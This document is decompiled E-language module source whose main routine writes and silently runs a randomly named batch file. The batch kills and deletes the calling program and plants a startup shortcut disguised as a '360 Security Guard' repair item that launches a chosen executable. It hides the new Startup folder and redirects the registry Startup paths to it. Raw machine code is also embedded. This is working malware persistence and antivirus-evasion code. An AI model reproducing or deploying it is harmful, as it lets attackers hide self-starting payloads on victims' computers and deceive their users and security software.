.DLL命令 GetCurrentDirectoryA_80, 整数型, "kernel32", "GetCurrentDirectoryA", ,
.参数 匿名参数_105, 整数型, ,
.参数 匿名参数_106, 文本型, ,
.DLL命令 GetModuleFileNameA_81, 整数型, "", "GetModuleFileNameA", ,
.参数 匿名参数_107, 整数型, ,
.参数 匿名参数_108, 文本型, ,
.参数 匿名参数_109, 整数型, ,
.DLL命令 LocalAlloc_82, 整数型, "", "LocalAlloc", ,
.参数 匿名参数_110, 整数型, ,
.参数 匿名参数_111, 整数型, ,
.DLL命令 RtlFillMemory_83, , "", "RtlFillMemory", ,
.参数 匿名参数_112, 整数型, ,
.参数 匿名参数_113, 整数型, ,
.参数 匿名参数_114, 字节型, ,
.DLL命令 LocalFree_84, 整数型, "", "LocalFree", ,
.参数 匿名参数_115, 整数型, ,
.DLL命令 lstrlenA_85, 整数型, "kernel32.dll", "lstrlenA", ,
.参数 匿名参数_116, 文本型, ,
.DLL命令 lstrcpyn_86, 整数型, "", "lstrcpyn", ,
.参数 匿名参数_117, 文本型, 传址,
.参数 匿名参数_118, 文本型, 传址,
.参数 匿名参数_119, 整数型, ,
.DLL命令 lstrcpyn_87, 整数型, "", "lstrcpyn", ,
.参数 匿名参数_120, 字节集, 传址,
.参数 匿名参数_121, 字节集, 传址,
.参数 匿名参数_122, 整数型, ,
.DLL命令 SHGetSpecialFolderPathA_128, 逻辑型, "shell32.dll", "SHGetSpecialFolderPathA", ,
.参数 匿名参数_132, 整数型, ,
.参数 匿名参数_133, 文本型, ,
.参数 匿名参数_134, 整数型, ,
.参数 匿名参数_135, 逻辑型, ,
.程序集 匿名程序集_0, , ,
.子程序 匿名子程序_1, 整数型, ,
匿名子程序_2 ()
返回 (0)
.子程序 匿名子程序_2, , ,
.程序集 匿名程序集_3, , ,
.子程序 _X360, , 公开, 测试运行请小心,最好“操作文件”输入其他程序,否则执行的是自身程序,会出现循环启动。
.参数 操作文件, 文本型, 可空, 完整的路径和带后缀名的执行文件。(留空为执行文件)
.参数 显示名称, 文本型, 可空, 例:“修复360安全卫士”。(显示为.url后缀名的文件)
.参数 图标指向, 文本型, 可空, 完整的路径和带后缀名的执行文件。例:“%systemroot%\system32\url.dll”
.参数 是否运行, 逻辑型, 可空, 是否立即运行操作文件。(真:运行|假:不运行)
.参数 自身退出, 逻辑型, 可空, 是否退出。(真:退出|假:不退出)
.参数 自身删除, 逻辑型, 可空, 是否删除自身。(真:删除|假:不删除)
.局部变量 匿名局部变量_11, 文本型, , ,
.局部变量 匿名局部变量_12, 文本型, , ,
.局部变量 匿名局部变量_13, 文本型, , ,
.局部变量 匿名局部变量_14, 文本型, , ,
.局部变量 匿名局部变量_16, 文本型, , ,
.局部变量 匿名局部变量_45, 文本型, , ,
.局部变量 匿名局部变量_63, 文本型, , ,
.局部变量 匿名局部变量_47, 文本型, , ,
.如果真 (等于 (操作文件, “”))
赋值 (操作文件, 相加 (匿名子程序_70 (), “\”, 匿名子程序_71 ()))
.如果真结束
.如果真 (等于 (显示名称, “”))
赋值 (显示名称, “修复360安全卫士”)
.如果真结束
.如果真 (等于 (图标指向, “”))
赋值 (图标指向, “%systemroot%\system32\url.dll”)
.如果真结束
赋值 (匿名局部变量_11, 相加 (匿名子程序_70 (), “\”))
赋值 (匿名局部变量_12, 相加 (匿名子程序_125 (36, 假), “\”, 匿名子程序_138 (7, 4), “.bat”))
赋值 (匿名局部变量_14, 相加 (匿名局部变量_11, 取执行文件名 ()))
赋值 (匿名局部变量_16, 相加 (匿名子程序_125 (23, 假), “\”))
.如果 (等于 (是否运行, 真))
赋值 (匿名局部变量_45, 相加 (“start ”, #引号, “X360”, #引号, “ ”, #引号, 操作文件, #引号, #换行符))
.否则
赋值 (匿名局部变量_45, 相加 (“:start ”, #引号, “X360”, #引号, “ ”, #引号, 操作文件, #引号, #换行符))
.如果结束
.如果 (等于 (自身退出, 真))
赋值 (匿名局部变量_63, 相加 (“@taskkill /f /IM ”, 取执行文件名 (), #换行符))
.否则
赋值 (匿名局部变量_63, 相加 (“:@taskkill /f /IM ”, 取执行文件名 (), #换行符))
.如果结束
.如果 (等于 (自身删除, 真))
赋值 (匿名局部变量_47, 相加 (“del /f /s /q ”, #引号, 匿名局部变量_14, #引号, #换行符))
.否则
赋值 (匿名局部变量_47, 相加 (“:del /f /s /q ”, #引号, 匿名局部变量_14, #引号, #换行符))
.如果结束
赋值 (匿名局部变量_13, 相加 (“title X360”, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, 匿名局部变量_63))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “md ”, #引号, 匿名局部变量_16, “Startup”, #引号, “”, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “@echo [InternetShortcut] >> ”, #引号, 匿名局部变量_16, “Startup\”, 显示名称, “.url”, #引号, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “@echo URL=”, #引号, 操作文件, #引号, “ >> ”, #引号, 匿名局部变量_16, “Startup\”, 显示名称, “.url”, #引号, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “@echo IconIndex=0 >> ”, #引号, 匿名局部变量_16, “Startup\”, 显示名称, “.url”, #引号, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “@echo IconFile=”, #引号, 图标指向, #引号, “ >> ”, #引号, 匿名局部变量_16, “Startup\”, 显示名称, “.url”, #引号, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “attrib ”, #引号, 匿名局部变量_16, “Startup”, #引号, “ +r +a +s +h /s /d”, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “reg add ”, #引号, “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders”, #引号, “ /v Startup /t REG_SZ /d ”, #引号, 匿名局部变量_16, “Startup”, #引号, “ /f ”, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “reg add ”, #引号, “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders”, #引号, “ /v Startup /t REG_SZ /d ”, #引号, 匿名局部变量_16, “Startup”, #引号, “ /f ”, #换行符))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, 匿名局部变量_45))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, 匿名局部变量_47))
赋值 (匿名局部变量_13, 相加 (匿名局部变量_13, “del /f /s /q ”, #引号, 匿名局部变量_12, #引号, #换行符))
写到文件 (匿名局部变量_12, 到字节集 (匿名局部变量_13))
运行 (匿名局部变量_12, 假, #隐藏窗口)
.程序集 匿名程序集_78, , ,
.子程序 匿名子程序_68, 整数型, ,
匿名子程序_69 ()
返回 (0)
.子程序 匿名子程序_69, , ,
.程序集 匿名程序集_79, , ,
.子程序 匿名子程序_70, 文本型, ,
.局部变量 匿名局部变量_88, 文本型, , ,
赋值 (匿名局部变量_88, 匿名子程序_72 (255))
GetCurrentDirectoryA_80 (255, 匿名局部变量_88)
返回 (匿名局部变量_88)
.子程序 匿名子程序_71, 文本型, ,
.局部变量 匿名局部变量_89, 文本型, , ,
.局部变量 匿名局部变量_90, 整数型, , ,
赋值 (匿名局部变量_89, 匿名子程序_72 (255))
GetModuleFileNameA_81 (0, 匿名局部变量_89, 255)
赋值 (匿名局部变量_90, 匿名子程序_73 (匿名局部变量_89, “\”, (), 假))
赋值 (匿名局部变量_89, 匿名子程序_74 (匿名局部变量_89, 相减 (匿名子程序_75 (匿名局部变量_89), 匿名局部变量_90)))
返回 (匿名局部变量_89)
.子程序 匿名子程序_72, 文本型, ,
.参数 匿名参数_91, 整数型, ,
.局部变量 匿名局部变量_92, 整数型, , ,
.局部变量 匿名局部变量_93, 文本型, , ,
.如果真 (小于 (匿名参数_91, 1))
返回 (“”)
.如果真结束
赋值 (匿名局部变量_92, LocalAlloc_82 (64, 相加 (匿名参数_91, 1)))
.如果真 (等于 (匿名局部变量_92, 0))
返回 (“”)
.如果真结束
RtlFillMemory_83 (匿名局部变量_92, 匿名参数_91, 32)
赋值 (匿名局部变量_93, 指针到文本 (匿名局部变量_92))
LocalFree_84 (匿名局部变量_92)
返回 (匿名局部变量_93)
.子程序 匿名子程序_73, 整数型, ,
.参数 匿名参数_94, 文本型, ,
.参数 匿名参数_95, 文本型, ,
.参数 匿名参数_96, 整数型, 可空,
.参数 匿名参数_97, 逻辑型, 可空,
置入代码 ({ 83, 82, 86, 87, 49, 192, 139, 117, 8, 232, 207, 0, 0, 0, 131, 249, 0, 126, 117, 139, 85, 244, 137, 203, 139, 117, 12, 232, 189, 0, 0, 0, 131, 249, 0, 126, 99, 139, 69, 20, 133, 192, 116, 12, 139, 69, 16, 131, 248, 0, 126, 84, 57, 216, 118, 2, 137, 216, 57, 193, 119, 74, 73, 137, 77, 248, 1, 77, 244, 1, 194, 74, 41, 200, 137, 69, 252, 139, 93, 24, 139, 117, 244, 139, 77, 252, 137, 215, 138, 38, 78, 227, 43, 138, 7, 79, 73, 232, 140, 0, 0, 0, 132, 228, 117, 241, 137, 250, 137, 77, 252, 139, 77, 248, 227, 25, 138, 38, 138, 7, 78, 79, 232, 115, 0, 0, 0, 132, 228, 117, 205, 73, 227, 7, 235, 236, 131, 200, 255, 235, 67, 139, 69, 252, 64, 139, 125, 8, 139, 63, 137, 193, 73, 227, 15, 138, 63, 71, 73, 128, 255, 128, 118, 245, 227, 170, 71, 73, 235, 239, 132, 219, 116, 34, 139, 117, 12, 139, 54, 139, 77, 248, 65, 227, 23, 138, 62, 70, 71, 73, 128, 255, 128, 118, 244, 227, 11, 138, 62, 56, 63, 117, 133, 70, 71, 73, 235, 231, 95, 94, 90, 91, 131, 196, 12, 137, 236, 93, 194, 24, 0, 49, 201, 139, 54, 133, 246, 116, 12, 137, 117, 244, 138, 6, 70, 65, 132, 192, 117, 248, 73, 195, 56, 224, 116, 30, 168, 128, 117, 28, 132, 219, 116, 24, 52, 32, 56, 224, 117, 18, 60, 65, 114, 14, 60, 90, 118, 8, 60, 97, 114, 6, 60, 122, 119, 2, 48, 228, 195 })
返回 (0)
.子程序 匿名子程序_74, 文本型, ,
.参数 匿名参数_98, 文本型, ,
.参数 匿名参数_99, 整数型, ,
.局部变量 匿名局部变量_100, 整数型, , ,
.局部变量 匿名局部变量_101, 字节集, , ,
赋值 (匿名局部变量_100, 匿名子程序_75 (匿名参数_98))
.如果真 (或者 (小于 (匿名局部变量_100, 1), 小于 (匿名参数_99, 1)))
返回 (“”)
.如果真结束
.如果真 (大于 (匿名参数_99, 匿名局部变量_100))
返回 (匿名参数_98)
.如果真结束
赋值 (匿名局部变量_101, 相加 (指针到字节集 (相减 (相加 (匿名子程序_76 (匿名参数_98), 匿名局部变量_100), 匿名参数_99), 匿名参数_99), { 0 }))
返回 (指针到文本 (匿名子程序_77 (匿名局部变量_101)))
.子程序 匿名子程序_75, 整数型, ,
.参数 匿名参数_102, 文本型, ,
返回 (lstrlenA_85 (匿名参数_102))
.子程序 匿名子程序_76, 整数型, ,
.参数 匿名参数_103, 文本型, ,
返回 (lstrcpyn_86 (匿名参数_103, 匿名参数_103, 0))
.子程序 匿名子程序_77, 整数型, ,
.参数 匿名参数_104, 字节集, ,
返回 (lstrcpyn_87 (匿名参数_104, 匿名参数_104, 0))
.程序集 匿名程序集_126, , ,
.子程序 匿名子程序_123, 整数型, ,
匿名子程序_124 ()
返回 (0)
.子程序 匿名子程序_124, , ,
.程序集 匿名程序集_127, , ,
.子程序 匿名子程序_125, 文本型, ,
.参数 匿名参数_129, 整数型, ,
.参数 匿名参数_130, 逻辑型, ,
.局部变量 匿名局部变量_131, 文本型, , ,
赋值 (匿名局部变量_131, 取空白文本 (1024))
.如果 (等于 (匿名参数_130, 真))
SHGetSpecialFolderPathA_128 (0, 匿名局部变量_131, 匿名参数_129, 真)
.否则
SHGetSpecialFolderPathA_128 (0, 匿名局部变量_131, 匿名参数_129, 假)
.如果结束
返回 (匿名局部变量_131)
.程序集 匿名程序集_139, , ,
.子程序 匿名子程序_136, 整数型, ,
匿名子程序_137 ()
返回 (0)
.子程序 匿名子程序_137, , ,
.程序集 匿名程序集_140, , ,
.子程序 匿名子程序_138, 文本型, ,
.参数 匿名参数_141, 整数型, ,
.参数 匿名参数_142, 整数型, 可空,
.局部变量 匿名局部变量_143, 文本型, , ,
置随机数种子 (取秒 (取现行时间 ()))
.判断开始 (等于 (匿名参数_142, 1))
.计次循环首 (匿名参数_141, ())
赋值 (匿名局部变量_143, 相加 (匿名局部变量_143, 字符 (取随机数 (48, 57))))
.计次循环尾 ()
返回 (匿名局部变量_143)
.判断 (等于 (匿名参数_142, 2))
.计次循环首 (匿名参数_141, ())
赋值 (匿名局部变量_143, 相加 (匿名局部变量_143, 字符 (取随机数 (97, 122))))
.计次循环尾 ()
返回 (匿名局部变量_143)
.判断 (等于 (匿名参数_142, 3))
.计次循环首 (匿名参数_141, ())
赋值 (匿名局部变量_143, 相加 (匿名局部变量_143, 字符 (取随机数 (65, 90))))
.计次循环尾 ()
返回 (匿名局部变量_143)
.判断 (等于 (匿名参数_142, 4))
.计次循环首 (匿名参数_141, ())
赋值 (匿名局部变量_143, 相加 (匿名局部变量_143, 字符 (多项选择 (取随机数 (1, 3), 取随机数 (48, 57), 取随机数 (65, 90), 取随机数 (97, 122)))))
.计次循环尾 ()
返回 (匿名局部变量_143)
.默认
.计次循环首 (匿名参数_141, ())
赋值 (匿名局部变量_143, 相加 (匿名局部变量_143, 字符 (多项选择 (取随机数 (1, 3), 取随机数 (48, 57), 取随机数 (65, 90), 取随机数 (97, 122)))))
.计次循环尾 ()
返回 (匿名局部变量_143)
.判断结束
模块源代码
|